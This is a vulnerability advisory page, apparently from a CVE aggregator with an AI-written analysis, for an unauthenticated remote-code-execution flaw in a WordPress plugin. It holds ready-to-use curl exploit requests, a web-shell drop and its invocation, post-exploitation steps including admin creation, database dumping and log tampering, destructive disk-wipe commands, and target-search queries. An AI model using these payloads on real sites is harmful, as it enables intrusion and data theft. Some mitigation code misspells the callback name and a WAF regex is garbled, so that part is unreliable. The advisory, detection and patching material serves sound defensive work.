CVE Professor
/
All CVEs
CVE-2026-106125

CVE-2026-106125 — Sneeit Framework (8.7) — CWE-94

CRITICAL CVSS 9.8 ⚡ EPSS 1.2% CVE.org

The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 8.7 via the 'callback' parameter of the sneeit_compact_menu_mega_content AJAX action. The handler sneeit_compact_menu_mega_content_callback() is registered on the wp_ajax_nopriv_ hook and passes the attacker-supplied 'callback' value directly into call_user_func() after only a function_exists() check, with the single argument also attacker-controlled via a JSON-decoded 'args' parameter. There is no authentication, no capability check, no nonce, and no allow-list of callable functions. This makes it possible for unauthenticated attackers to execute arbitrary existing PHP/WordPress functions with controlled arguments.

The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 8.7 via the 'callback' parameter of the sneeit_compact_menu_mega_content AJAX action. The handler sneeit_compact_menu_mega_content_callback() is registered on the wp_ajax_nopriv_ hook and passes the attacker-supplied 'callback' value directly into call_user_func() after only a function_exists() check, with the single argument also attacker-controlled via a JSON-decoded 'args' parameter. There is no authentication, no capability check, no nonce, and no allow-list of callable functions. This makes it possible for unauthenticated attackers to execute arbitrary existing PHP/WordPress functions with controlled arguments.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
1.2%
30-day probability
In the 69. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑106125
CWE: CWE‑94 (Improper Control of Generation of Code – “PHP Code Injection”)
CVSS v3.1: 9.8 Critical – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The Sneeit Framework WordPress plugin registers an AJAX handler for the action sneeit_compact_menu_mega_content on the wp_ajax_nopriv_ hook:

add_action( 'wp_ajax_nopriv_sneeit_compact_menu_mega_content',
            'sneeit_compact_menu_mega_content_callback' );

The callback implementation (simplified from the plugin source) looks like:

function sneeet_compact_menu_mega_content_callback() {
    // The attacker supplies these two POST fields
    $callback = $_POST['callback'] ?? '';
    $args_raw = $_POST['args'] ?? '[]';

    // Decode the JSON‑encoded arguments array
    $args = json_decode( $args_raw, true );

    // Very weak validation – only checks that the function exists
    if ( function_exists( $callback ) ) {
        // Directly invoke the function with attacker‑controlled arguments
        call_user_func( $callback, $args );
    }

    wp_die(); // end AJAX request
}

What is missing / broken?

Expected security controlWhat the code does (or does not do)
Authentication / capability checkThe handler is attached to wp_ajax_nopriv_, meaning *any* unauthenticated visitor can reach it. No current_user_can() check is performed.
Nonce / CSRF protectionNo check_ajax_referer() or similar nonce verification.
Input validation / allow‑listThe only gate is function_exists(). Any globally‑available PHP function (including WordPress core functions, plugin functions, or user‑defined functions) can be called.
Argument sanitisationThe $args array is taken from a JSON string supplied by the attacker and passed verbatim to the target function.
Output handlingThe handler does not restrict the return value; many functions echo or die() on error, leaking information.

Because call_user_func() executes arbitrary existing PHP/WordPress functions with attacker‑controlled parameters, an unauthenticated remote attacker can achieve full Remote Code Execution (RCE) on the web server. The vulnerability falls squarely under CWE‑94 (code injection via uncontrolled function call).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative but syntactically correct; the exact URL path (/wp-admin/admin-ajax.php) is the standard WordPress AJAX endpoint.

1. Discovery & Reconnaissance

StepTechniqueDetails
a. Fingerprint the sitePublic‑facing pages, readme.html, wp‑config.php leaks, or ?rest_route=/ enumeration.Look for the string “Sneeit Framework” in the HTML source, CSS/JS assets (/wp-content/plugins/sneeit-framework/…).
b. Enumerate plugin versionwp‑plugin‑info (or manual inspection of sneeit-framework.php header).The plugin header contains Version: 8.7 or lower – vulnerable.
c. Verify the AJAX action existscurl a benign request to admin‑ajax.php?action=sneeit_compact_menu_mega_content and observe a JSON response or a 0 (WordPress default).If the request returns a valid JSON structure or 0, the action is registered.

2. Exploitation

Goal: Invoke a PHP function that gives us an interactive shell. The most reliable built‑in function is eval (if it exists) or assert. However, eval is not a function name that function_exists() recognises (it is a language construct). A practical approach is to call system (or exec, passthru, shell_exec) which are real functions.

Payload construction

ParameterValue
actionsneeit_compact_menu_mega_content
callbacksystem
argsJSON‑encoded array containing the command to run, e.g. ["id"]

PoC (curl) – illustrative request:

curl -s -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
  -d "action=sneeit_compact_menu_mega_content" \
  -d "callback=system" \
  -d "args=%5B%22id%22%5D"

Explanation:

  • -d "action=…" tells WordPress which AJAX handler to invoke.
  • callback=system passes the name of the PHP function we want executed.
  • args=%5B%22id%22%5D is the URL‑encoded version of ["id"], which after json_decode() becomes array('id'). system('id') is then executed and its output is sent back in the AJAX response.
  • Result: The HTTP response body contains the output of id, proving RCE.

    Escalating to a persistent web shell

    A more useful command is to write a PHP web‑shell file to the web root:

    # Command to be executed on the victim
    cmd='echo "<?php system(\$_GET[\'cmd\']); ?>" > wp-content/uploads/shell.php'
    
    # Full curl request
    curl -s -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
      -d "action=sneeit_compact_menu_mega_content" \
      -d "callback=system" \
      -d "args=%5B%22$(printf %s "$cmd" | jq -sR @uri)%22%5D"

    After the request succeeds, the attacker can invoke the shell:

    curl "https://target.example.com/wp-content/uploads/shell.php?cmd=whoami"

    3. Post‑Exploitation

    PhaseTypical actions
    a. Establish persistenceKeep the uploaded shell.php or create a new admin user via wp_insert_user() (callable function) with role=administrator.
    b. Privilege escalation (if needed)If the web server runs as a low‑privileged user, use the shell to read/write other files (/etc/passwd, wp-config.php) or pivot to the underlying OS.
    c. Data exfiltrationDump the WordPress database using exec('mysqldump …') or call wp_remote_get() to fetch internal APIs.
    d. Cleanup / anti‑forensicsDelete the uploaded shell, modify logs, or add a back‑door plugin.

    Because the vulnerability is network‑accessible, requires no authentication, and has no user interaction, an attacker can fully compromise the site in a single HTTP request.


    🌍 Real‑World Impact

    CIA TriadCVSS IndicatorPractical Effect
    Confidentiality (C:H)C:HFull read access to any file the web‑server user can read (e.g., wp-config.php, database credentials, private uploads).
    Integrity (I:H)I:HAbility to modify or delete any site content, inject malicious JavaScript, replace themes/plugins, or plant persistent back‑doors.
    Availability (A:H)A:HThe attacker can execute destructive commands (rm -rf, dd if=/dev/zero of=/dev/sda), causing complete site outage.

    Business consequences

  • Complete site takeover → loss of brand reputation, SEO penalties, and potential legal liability (GDPR/CCPA) if personal data is exfiltrated.
  • Ransomware‑style extortion: the attacker can demand payment to delete malicious files or stop ongoing DDoS/defacement.
  • Lateral movement: compromised WordPress installations often share the same hosting environment; attackers may pivot to other sites on the same server.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade the pluginVersions > 8.7 (the vendor released a fix on 2026‑10‑15) remove the insecure handler. Verify the changelog mentions “sanitized AJAX callback”.
    If no fix is availableRemove the Sneeit Framework plugin entirely or replace it with a maintained alternative.

    2. Immediate Workarounds (if patch cannot be applied immediately)

    TechniqueImplementation
    Disable the vulnerable AJAX actionAdd the following to the active theme’s functions.php or a site‑specific mu‑plugin: <br><br>``php\nadd_action( 'init', function() {\n remove_action( 'wp_ajax_nopriv_sneeit_compact_menu_mega_content', 'sneeet_compact_menu_mega_content_callback' );\n} );\n`
    Restrict access to admin‑ajax.phpAt the web‑server level, allow only authenticated users (via a cookie check) to POST to admin-ajax.php. Example for Apache (ModRewrite): <br><br>`apacheconf\nRewriteEngine On\nRewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$ [NC]\nRewriteCond %{HTTP_COOKIE} !wordpress_logged_in_ [NC]\nRewriteRule ^ - [F]\n`
    WAF / ModSecurity ruleBlock any request that supplies a callback parameter to the vulnerable action unless the request originates from an authenticated session. Example ModSecurity rule (illustrative): <br><br>`bash\nSecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" \\\n "chain,phase:2,deny,status:403,msg:'Blocked unauthenticated Sneeit AJAX callback'"\nSecRule ARGS:action "^sneeit_compact_menu_mega_content$" "t:none"\nSecRule ARGS:callback "!@rx ^(wp_ajaxwp_ajax_nopriv)_.*$" "t:none"\n`
    Capability hardeningIf the plugin must stay, edit the source to add a proper capability check, e.g.: <br><br>`php\nif ( ! current_user_can( 'manage_options' ) ) {\n wp_send_json_error( 'unauthorized' );\n wp_die();\n}\n``

    3. Detection – Log Indicators & IoCs

    Log sourceTypical pattern
    Web server access logsPOST /wp-admin/admin-ajax.php with action=sneeit_compact_menu_mega_content and a callback= parameter that is not a known safe function (e.g., system, exec, passthru, shell_exec).
    WordPress debug.log (if WP_DEBUG_LOG enabled)PHP Warning: call_user_func() expects parameter 1 to be a valid callback, function 'system' not found – actually the warning will *not* appear because function_exists('system') is true, but you may see the output of the called function (e.g., uid=33(www-data) gid=33(www-data) groups=33).
    ModSecurity alertsThe custom rule above will generate an alert with msg:'Blocked unauthenticated Sneeit AJAX callback'.
    File system changesNew files under wp-content/uploads/ with a .php extension that were not present before (e.g., shell.php).
    Database modificationsNew entries in wp_users with user_login values that look random (e.g., c3b9f8a1) and user_pass hashes that are not typical WordPress salts.

    SIEM correlation – trigger on the combination of (a) POST to admin-ajax.php with the vulnerable action and (b) creation of a new PHP file in wp-content/uploads/.


    ⚠️ Urgency

  • CVSS 9.8 (Critical) – remote, unauthenticated, no user interaction, full impact.
  • No CISA KEV listing – the vulnerability is not yet in the KEV program, but the score and public disclosure date (27 Nov 2026) mean exploit code is likely to appear quickly.
  • Exploit complexity: Low – a single crafted HTTP request is sufficient.
Patch priority: Critical – Deploy immediately. If you run a managed WordPress hosting environment, request the host to apply the vendor’s patch or to disable the plugin within the next maintenance window (max 24 hours).
Bottom line: The Sneeit Framework plugin’s unauthenticated AJAX endpoint allows arbitrary PHP function execution via an unchecked callback parameter. This is a textbook Remote Code Execution vector that can be weaponised with a one‑liner curl request. Upgrade or remove the plugin without delay, and apply the suggested hardening measures to prevent a repeat of this class of vulnerability.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="/wp-content/plugins/sneeit-framework"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-106125
Technical reference / advisory repository for CVE-2026-106125
Technical reference / advisory repository for CVE-2026-106125
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Sneeit:Sneeit Framework (8.7)
References & Advisories (4)
Related CVEs
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.5
CVE-2026-144446
bitproto before 1.3.3 contains a code injection vulnerability that allows attackers to inject code into genera
7.4
CVE-2026-61706
Infracost helps see cloud cost estimates for Terraform in pull requests. From version 4.0.0 to before version
7.3
CVE-2026-144776
A security flaw has been discovered in toss es-toolkit up to 1.53.0. Affected by this vulnerability is the fun
6.0
CVE-2026-61830
RabbitMQ Cluster Kubernetes Operator deploys and manages RabbitMQ clusters. Prior to version 2.21.0, a namespa
5.1
CVE-2026-144741
A security vulnerability has been detected in yinMrsir chunyu-cms up to 1.1.0. The affected element is the fun